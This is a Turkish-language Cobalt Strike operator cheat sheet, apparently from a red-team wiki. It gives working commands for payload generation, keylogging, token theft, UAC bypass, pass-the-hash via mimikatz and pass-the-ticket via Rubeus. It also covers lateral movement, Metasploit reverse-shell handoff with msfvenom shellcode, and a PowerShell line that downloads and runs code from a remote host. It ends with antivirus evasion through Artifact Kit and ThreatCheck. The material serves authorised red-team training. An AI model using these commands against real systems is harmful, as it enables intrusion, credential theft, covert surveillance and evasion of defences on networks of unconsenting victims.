Cobalt Strike -> Dinleyiciler -> Ekle/Düzenle ardından dinlemek istediğiniz yeri seçebilir, hangi tür beacon'ı kullanacağınızı (http, dns, smb...) ve daha fazlasını belirleyebilirsiniz.
Peer2Peer Dinleyicileri
Bu dinleyicilerin beacon'ları doğrudan C2 ile iletişim kurmak zorunda değildir, başka beacon'lar aracılığıyla iletişim kurabilirler.
Cobalt Strike -> Dinleyiciler -> Ekle/Düzenle ardından TCP veya SMB beacon'larını seçmeniz gerekmektedir.
TCP beacon, seçilen portta bir dinleyici ayarlar. Başka bir beacon'dan bir TCP beacon'a bağlanmak için connect <ip> <port> komutunu kullanın.
SMB beacon, seçilen isimle bir pipename'de dinler. Bir SMB beacon'a bağlanmak için link [hedef] [pipe] komutunu kullanmanız gerekmektedir.
Payload'lar Oluşturma ve Barındırma
Dosyalarda Payload'lar Oluşturma
Saldırılar -> Paketler ->
HTMLApplication HTA dosyaları için
MS Office Macro makro içeren bir ofis belgesi için
Windows Executable .exe, .dll veya servis .exe için
Windows Executable (S)stageless .exe, .dll veya servis .exe için (staged'den daha az IoC'ye sahip)
Payload'ları Oluşturma ve Barındırma
Saldırılar -> Web Drive-by -> Scripted Web Delivery (S) Bu, cobalt strike'dan beacon'ı indirmek için bitsadmin, exe, powershell ve python gibi formatlarda bir script/executable oluşturur.
Payload'ları Barındırma
Eğer barındırmak istediğiniz dosyaya zaten sahipseniz, sadece Saldırılar -> Web Drive-by -> Dosya Barındır seçeneğine gidin ve barındırmak istediğiniz dosyayı ve web sunucusu yapılandırmasını seçin.
Beacon Seçenekleri
# Yerel .NET binary'si çalıştırmaexecute-assembly</path/to/executable.exe># Ekran görüntüleriprintscreen# PrintScr yöntemiyle tek bir ekran görüntüsü alscreenshot# Tek bir ekran görüntüsü alscreenwatch# Masaüstünün periyodik ekran görüntülerini al## Görüntüleri görmek için Görünüm -> Ekran Görüntüleri'ne gidin# keyloggerkeylogger [pid] [x86|x64]## Basılan tuşları görmek için Görünüm -> Tuş Vuruşları'na gidin# portscanportscan [pid] [arch] [hedefler] [portlar] [arp|icmp|none] [maksimum bağlantı] # Başka bir işlem içine portscan eylemini enjekte et
portscan [hedefler] [portlar] [arp|icmp|none] [maksimum bağlantı]# Powershell# Powershell modülü içe aktarmapowershell-importC:\path\to\PowerView.ps1powershell<powershellkomutunuburayayazın># Kullanıcı taklit etme## Kimlik bilgileriyle token oluşturmamake_token [DOMAIN\kullanıcı] [şifre] # Ağdaki bir kullanıcıyı taklit etmek için token oluştururls \\bilgisayar_adı\c$ # Oluşturulan token'ı kullanarak bir bilgisayara C$'a erişmeyi deneyinrev2self# make_token ile oluşturulan token'ı kullanmayı bırakın## make_token kullanımı, 4624 numaralı olayı oluşturur: Bir hesap başarıyla oturum açıldı. Bu olay, Windows etki alanında çok yaygındır, ancak Logon Türü üzerinde filtreleme yaparak daraltılabilir. Yukarıda belirtildiği gibi, LOGON32_LOGON_NEW_CREDENTIALS kullanır.
# UAC Bypasselevatesvc-exe<dinleyici>elevateuac-token-duplication<dinleyici>runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## pid'den token çalma## make_token gibi, ancak token'ı bir işlemden çalarsteal_token [pid] # Ayrıca, bu yerel olmayan eylemler için kullanışlıdır## API belgelerinden biliyoruz ki bu oturum açma türü "çağrıcının mevcut token'ını klonlamasına izin verir". Bu nedenle Beacon çıktısı Impersonated <current_username> diyor - kendi klonlanmış token'ımızı taklit ediyor.
ls \\bilgisayar_adı\c$ # Oluşturulan token'ı kullanarak bir bilgisayara C$'a erişmeyi deneyinrev2self# steal_token ile çalınan token'ı kullanmayı bırakın## Yeni kimlik bilgileriyle işlem başlatmaspawnas [domain\kullanıcıadı] [şifre] [dinleyici] # Okuma erişimine sahip bir dizinde yapın, örneğin: cd C:\## make_token gibi, bu da Windows etkinliği 4624: Bir hesap başarıyla oturum açıldı, ancak 2 (LOGON32_LOGON_INTERACTIVE) bir oturum açma türüyle oluşturur. Arayan kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) ayrıntılı olarak belirtir.
## İşleme enjekte etmeinject [pid] [x64|x86] [dinleyici]## OpSec açısından: Gerçekten yapmanız gerekmese de (örneğin x86 -> x64 veya x64 -> x86), platformlar arası enjeksiyon yapmayın.
## Hash'i geçir## Bu değiştirme işlemi, yüksek riskli bir eylem olan LSASS belleğinin yamasını gerektirir, yerel yönetici ayrıcalıklarını gerektirir ve Korunan Süreç Işığı (PPL) etkinse pek mümkün değildir.
pth [pid] [arch] [DOMAIN\kullanıcı] [NTLM hash]pth [DOMAIN\kullanıcı] [NTLM hash]## Mimikatz aracılığıyla hash geçirmemimikatzsekurlsa::pth/user:<kullanıcıadı>/domain:<ETKİALANI>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## /run olmadan, mimikatz bir cmd.exe başlatır, masaüstüne sahip bir kullanıcı olarak çalışıyorsanız kabuğu görecektir (SYSTEM olarak çalışıyorsanız sorun yoktur)
steal_token<pid># mimikatz tarafından oluşturulan işlemden token çal## Bilet geçirme## Bir bilet isteexecute-assemblyC:\path\Rubeus.exeasktgt/user:<kullanıcıadı>/domain:<etkialanı>/aes256:<aes_keys>/nowrap/opsec## Yeni bilet için kullanılacak yeni bir oturum açma oluştur (kompromize edileni üzerine yazmamak için)make_token<etkialanı>\<kullanıcıadı>DummyPass## Saldırgan makinede bilet yazın ve yükleyin[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...bilet...]"))
kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## SYSTEM'den bilet geçirme## Bilet ile yeni bir işlem oluşturexecute-assembly C:\path\Rubeus.exe asktgt /user:<KULLANICIAD> /domain:<ETKİ ALANI> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## O işlemden token çalsteal_token<pid>## Bilet çıkar + Bilet geçirme### Biletleri listeleexecute-assemblyC:\path\Rubeus.exetriage### Luid'e göre ilgili biletleri dökexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Yeni oturum açma oluştur, luid ve processid'yi kaydetexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Oluşturulan oturuma bilet ekleexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Son olarak, yeni süreçten token çalsteal_token<pid># Yanal Hareket## Eğer bir token oluşturulduysa kullanılacakjump [method] [target] [listener]## Yöntemler:## psexec x86 Bir hizmeti kullanarak bir Hizmet EXE artefaktını çalıştırın## psexec64 x64 Bir hizmeti kullanarak bir Hizmet EXE artefaktını çalıştırın## psexec_psh x86 Bir hizmeti kullanarak bir PowerShell tek satırlık komut çalıştırın## winrm x86 WinRM üzerinden bir PowerShell komut dosyası çalıştırın## winrm64 x64 WinRM üzerinden bir PowerShell komut dosyası çalıştırınremote-exec [method] [target] [command]## Yöntemler:## psexec Hizmet Denetim Yöneticisi üzerinden uzaktan çalıştırma## winrm WinRM üzerinden uzaktan çalıştırma (PowerShell)## wmi WMI üzerinden uzaktan çalıştırma## Wmi ile bir beacon çalıştırmak için (jump komutunda değil) sadece beacon'u yükleyin ve çalıştırınbeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Oturumu Metasploit'e Aktarma - Dinleyici Aracılığıyla## Metasploit ana bilgisayarındamsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Cobalt Strike üzerinde: Listeners > Ekle ve Payloay'ı Yabancı HTTP olarak ayarlayın. Host'u 10.10.5.120, Port'u 8080 olarak ayarlayın ve Kaydet'e tıklayın.
beacon> spawnmetasploit## Yabancı dinleyici ile sadece x86 Meterpreter oturumları başlatabilirsiniz.# Oturumu Metasploit'e Aktarma - Shellcode Enjeksiyonu Aracılığıyla## Metasploit ana bilgisayarındamsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## msfvenom'u çalıştırın ve multi/handler dinleyicisini hazırlayın## Bin dosyasını cobalt strike ana bilgisayarına kopyalayınpsshinject<pid>x64C:\Payloads\msf.bin#Metasploit shellcode'unu bir x64 sürece enjekte edin# Metasploit oturumunu cobalt strike'a aktarma## Aşamasız Beacon shellcode'u oluşturun, Attacks > Packages > Windows Executable (S) gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve Use x64 payload'ı seçin.
## Metasploit'te post/windows/manage/shellcode_inject kullanarak oluşturulan cobalt strike shellcode'unu enjekte edin# Pivoting## Takım sunucusunda bir socks proxy açınbeacon> socks1080# SSH bağlantısıbeacon> ssh10.10.17.12:22kullanıcıadışifre
AV'leri Engelleme
Artifact Kit
Genellikle /opt/cobaltstrike/artifact-kit dizininde, cobalt strike'ın ikili beacon'ları oluşturmak için kullanacağı kodu ve önceden derlenmiş şablonları (/src-common içinde) bulabilirsiniz.
ThreatCheck kullanarak oluşturulan arka kapıyla (veya sadece derlenmiş şablonla) defender'ın tetiklenmesine neden olan şeyi bulabilirsiniz. Genellikle bir dizedir. Bu nedenle, arka kapıyı oluşturan kodu değiştirerek o dizenin nihai ikili dosyada görünmemesini sağlayabilirsiniz.
Kodu değiştirdikten sonra aynı dizinde ./build.sh komutunu çalıştırın ve dist-pipe/ klasörünü Windows istemcisine C:\Tools\cobaltstrike\ArtifactKit dizinine kopyalayın.